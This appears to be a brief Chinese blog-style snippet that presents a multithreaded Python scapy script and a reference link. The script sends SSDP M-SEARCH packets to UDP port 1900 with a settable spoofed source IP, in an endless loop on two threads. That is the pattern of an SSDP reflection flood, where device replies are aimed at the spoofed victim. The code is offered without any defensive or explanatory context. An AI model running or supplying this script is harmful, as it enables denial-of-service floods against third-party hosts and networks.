多线程运行代码如下
from scapy.all import *
import random
import threading
class myThread (threading.Thread):
def __init__(self,threadID,name,srcip,dstip):
threading.Thread.__init__(self)
self.threadID = threadID
self.name = name
self.srcip = srcip
self.dstip = dstip
def run(self):
print("Start thread "+self.name)
while 1:
send_udp(self.srcip,self.dstip)
print ("Exist thread " + self.name)
def send_udp(srcip,dstip):
x =random.randint(0,65535)
# ST is short for Search Type,either ssdp:all or upnp:rootdevice.
sendmsg = 'M-SEARCH * HTTP/1.1\r\nHost:239.255.255.250:1900\r\nST:ssdp:all\r\nMan:\"ssdp:discover\"\r\nMX:3\r\n\r\n'
i =IP()
i.dst=dstip
i.src=srcip
u=UDP()
u.dport=1900
u.sport=x
send(i/u/sendmsg)
print('success')
if __name__ == '__main__':
srcip = ""
dstip = ""
thread1 = myThread(1,"Thread-1",srcip,dstip)
thread2 = myThread(2,"Thread-2",srcip,dstip)
thread1.start()
thread2.start()
thread1.join()
thread2.join()
print("All threads end now.")
参考
https://sq.sf.163.com/blog/article/185561041311997952